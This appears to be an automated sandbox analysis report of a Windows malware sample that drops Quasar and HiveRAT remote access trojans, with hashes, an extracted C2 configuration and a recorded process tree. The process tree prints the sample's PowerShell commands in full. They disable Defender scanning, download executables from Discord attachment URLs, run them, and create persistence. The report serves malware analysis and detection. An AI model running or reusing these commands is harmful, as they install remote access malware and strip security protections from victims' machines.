Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    30-10-2021 08:42

General

  • Target

    d7bda4ea100c3b9b58d9a9095628c064.exe

  • Size

    72KB

  • MD5

    d7bda4ea100c3b9b58d9a9095628c064

  • SHA1

    70cb92dfc7e0dd76d7db1ee2877d87be8be8b638

  • SHA256

    1aec33c9dc704ad71932eee6e128c9eb0908cab49d85f5a0f788484777a68a57

  • SHA512

    56b0b05499881cd07aa9efb640d89b1debe2ac3e5378057b350f91d039056799859b53ad330e83af7f79d223bb234df2e1b32a40b3becc7c295049704606f424

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.discordapp.com/attachments/612689775702573066/894910938065547284/Cert.reg

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.discordapp.com/attachments/612689775702573066/894910945422368798/hivee.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.discordapp.com/attachments/612689775702573066/894910956184961054/BITBACKK.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.discordapp.com/attachments/612689775702573066/897976122757746728/dlscord.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.discordapp.com/attachments/612689775702573066/898608127153410129/PaladinsHackFIX.zip

Extracted

Family

quasar

Version

1.4.0

Botnet

Anubisv2

C2

yoworldservices.space:1338

Mutex

48e1f30b-026f-45d4-b8f7-2bd40381b7db

Attributes
  • encryption_key

    0411D8B9B23547F86733347B0634010F112E158F

  • install_name

    dlscord.exe

  • log_directory

    dlscordLogs

  • reconnect_delay

    3000

  • startup_key

    dlscord

  • subdirectory

    dlscord

Signatures

  • HiveRAT

    HiveRAT is an improved version of FirebirdRAT with various capabilities.

  • Quasar Payload 3 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • HiveRAT Payload 15 IoCs
  • ASPack v2.12-2.42 4 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Runs .reg file with regedit 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d7bda4ea100c3b9b58d9a9095628c064.exe
    "C:\Users\Admin\AppData\Local\Temp\d7bda4ea100c3b9b58d9a9095628c064.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1524
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Extracting Files, Please Wait..','Error','OK','Error')"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1612
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Extracting Files, Please Wait..','Error','OK','Error')"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1412
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/612689775702573066/894910938065547284/Cert.reg', (Join-Path -Path ($pwd).path -ChildPath 'Cert.reg'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/612689775702573066/894910945422368798/hivee.exe', (Join-Path -Path $env:AppData -ChildPath 'hivee.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/612689775702573066/894910956184961054/BITBACKK.exe', (Join-Path -Path $env:AppData -ChildPath 'BITBACKK.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/612689775702573066/897976122757746728/dlscord.exe', (Join-Path -Path $env:AppData -ChildPath 'dlscord.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/612689775702573066/898608127153410129/PaladinsHackFIX.zip', (Join-Path -Path ($pwd).path -ChildPath 'PaladinsHackFIX.zip'))" & powershell "Start-Process -FilePath (Join-Path -Path ($pwd).path -ChildPath 'Cert.reg')" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'hivee.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'BITBACKK.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'dlscord.exe')" & powershell "Start-Process -FilePath (Join-Path -Path ($pwd).path -ChildPath 'PaladinsHackFIX.zip')" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:620
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1416
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2044
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/612689775702573066/894910938065547284/Cert.reg', (Join-Path -Path ($pwd).path -ChildPath 'Cert.reg'))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1456
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/612689775702573066/894910945422368798/hivee.exe', (Join-Path -Path $env:AppData -ChildPath 'hivee.exe'))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:676
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/612689775702573066/894910956184961054/BITBACKK.exe', (Join-Path -Path $env:AppData -ChildPath 'BITBACKK.exe'))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1728
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/612689775702573066/897976122757746728/dlscord.exe', (Join-Path -Path $env:AppData -ChildPath 'dlscord.exe'))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:588
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/612689775702573066/898608127153410129/PaladinsHackFIX.zip', (Join-Path -Path ($pwd).path -ChildPath 'PaladinsHackFIX.zip'))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2040
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "Start-Process -FilePath (Join-Path -Path ($pwd).path -ChildPath 'Cert.reg')"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1520
        • C:\Windows\SysWOW64\regedit.exe
          "regedit.exe" "C:\Users\Admin\AppData\Local\Temp\Cert.reg"
          4⤵
          • Adds Run key to start application
          • Runs .reg file with regedit
          PID:836
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'hivee.exe')"
        3⤵
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1688
        • C:\Users\Admin\AppData\Roaming\hivee.exe
          "C:\Users\Admin\AppData\Roaming\hivee.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:520
          • C:\Users\Admin\AppData\Roaming\hivee.exe
            "C:\Users\Admin\AppData\Roaming\hivee.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of AdjustPrivilegeToken
            PID:1256
            • C:\Windows\SysWOW64\explorer.exe
              "C:\Windows\System32\explorer.exe" C:\Users\Admin\AppData\Local\Execution.vbs
              6⤵
                PID:1672
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'BITBACKK.exe')"
          3⤵
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:600
          • C:\Users\Admin\AppData\Roaming\BITBACKK.exe
            "C:\Users\Admin\AppData\Roaming\BITBACKK.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1160
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'dlscord.exe')"
          3⤵
            PID:1740
            • C:\Users\Admin\AppData\Roaming\dlscord.exe
              "C:\Users\Admin\AppData\Roaming\dlscord.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1684
              • C:\Windows\system32\schtasks.exe
                "schtasks" /create /tn "dlscord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\dlscord.exe" /rl HIGHEST /f
                5⤵
                • Creates scheduled task(s)
                PID:600
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell "Start-Process -FilePath (Join-Path -Path ($pwd).path -ChildPath 'PaladinsHackFIX.zip')"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:992
      • C:\Users\Admin\AppData\Local\Temp\tbPLVy.exe
        C:\Users\Admin\AppData\Local\Temp\tbPLVy.exe
        1⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        PID:1052
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\03530cc0.bat" "
          2⤵
            PID:1600
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
          1⤵
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1740
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Execution.vbs"
            2⤵
            • Adds Run key to start application
            PID:1552

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/520-151-0x0000000004AC0000-0x0000000004AC1000-memory.dmp

          Filesize

          4KB

        • memory/520-119-0x0000000000AB0000-0x0000000000AB1000-memory.dmp

          Filesize

          4KB

        • memory/600-144-0x0000000002530000-0x000000000317A000-memory.dmp

          Filesize

          12.3MB

        • memory/600-146-0x0000000002530000-0x000000000317A000-memory.dmp

          Filesize

          12.3MB

        • memory/600-147-0x0000000002530000-0x000000000317A000-memory.dmp

          Filesize

          12.3MB

        • memory/836-117-0x0000000000370000-0x0000000000371000-memory.dmp

          Filesize

          4KB

        • memory/992-184-0x00000000023F1000-0x00000000023F2000-memory.dmp

          Filesize

          4KB

        • memory/992-185-0x00000000023F2000-0x00000000023F4000-memory.dmp

          Filesize

          8KB

        • memory/992-183-0x00000000023F0000-0x00000000023F1000-memory.dmp

          Filesize

          4KB

        • memory/1256-163-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-153-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-155-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-122-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-133-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-128-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-159-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-127-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-121-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-134-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-182-0x0000000000A50000-0x0000000000A51000-memory.dmp

          Filesize

          4KB

        • memory/1256-154-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-152-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-162-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-141-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1256-164-0x0000000000400000-0x0000000000454000-memory.dmp

          Filesize

          336KB

        • memory/1412-58-0x00000000751A1000-0x00000000751A3000-memory.dmp

          Filesize

          8KB

        • memory/1412-62-0x0000000000220000-0x0000000000221000-memory.dmp

          Filesize

          4KB

        • memory/1412-63-0x0000000000221000-0x0000000000222000-memory.dmp

          Filesize

          4KB

        • memory/1412-65-0x0000000000222000-0x0000000000224000-memory.dmp

          Filesize

          8KB

        • memory/1416-61-0x0000000002330000-0x0000000002331000-memory.dmp

          Filesize

          4KB

        • memory/1416-66-0x0000000002332000-0x0000000002334000-memory.dmp

          Filesize

          8KB

        • memory/1416-64-0x0000000002331000-0x0000000002332000-memory.dmp

          Filesize

          4KB

        • memory/1456-76-0x0000000002600000-0x000000000324A000-memory.dmp

          Filesize

          12.3MB

        • memory/1456-79-0x0000000002600000-0x000000000324A000-memory.dmp

          Filesize

          12.3MB

        • memory/1456-78-0x0000000002600000-0x000000000324A000-memory.dmp

          Filesize

          12.3MB

        • memory/1520-100-0x0000000002361000-0x0000000002362000-memory.dmp

          Filesize

          4KB

        • memory/1520-99-0x0000000002360000-0x0000000002361000-memory.dmp

          Filesize

          4KB

        • memory/1520-101-0x0000000002362000-0x0000000002364000-memory.dmp

          Filesize

          8KB

        • memory/1672-189-0x0000000074091000-0x0000000074093000-memory.dmp

          Filesize

          8KB

        • memory/1684-186-0x000000001B170000-0x000000001B172000-memory.dmp

          Filesize

          8KB

        • memory/1684-178-0x00000000010E0000-0x00000000010E1000-memory.dmp

          Filesize

          4KB

        • memory/1688-116-0x0000000002442000-0x0000000002444000-memory.dmp

          Filesize

          8KB

        • memory/1688-115-0x0000000002441000-0x0000000002442000-memory.dmp

          Filesize

          4KB

        • memory/1688-114-0x0000000002440000-0x0000000002441000-memory.dmp

          Filesize

          4KB

        • memory/1728-88-0x0000000002502000-0x0000000002504000-memory.dmp

          Filesize

          8KB

        • memory/1728-87-0x0000000002501000-0x0000000002502000-memory.dmp

          Filesize

          4KB

        • memory/1728-86-0x0000000002500000-0x0000000002501000-memory.dmp

          Filesize

          4KB

        • memory/1740-171-0x0000000002390000-0x0000000002FDA000-memory.dmp

          Filesize

          12.3MB

        • memory/1740-190-0x000007FEFB8B1000-0x000007FEFB8B3000-memory.dmp

          Filesize

          8KB

        • memory/1740-176-0x0000000002390000-0x0000000002FDA000-memory.dmp

          Filesize

          12.3MB

        • memory/1740-174-0x0000000002390000-0x0000000002FDA000-memory.dmp

          Filesize

          12.3MB

        • memory/2044-74-0x0000000002360000-0x0000000002FAA000-memory.dmp

          Filesize

          12.3MB

        • memory/2044-75-0x0000000002360000-0x0000000002FAA000-memory.dmp

          Filesize

          12.3MB

        • memory/2044-77-0x0000000002360000-0x0000000002FAA000-memory.dmp

          Filesize

          12.3MB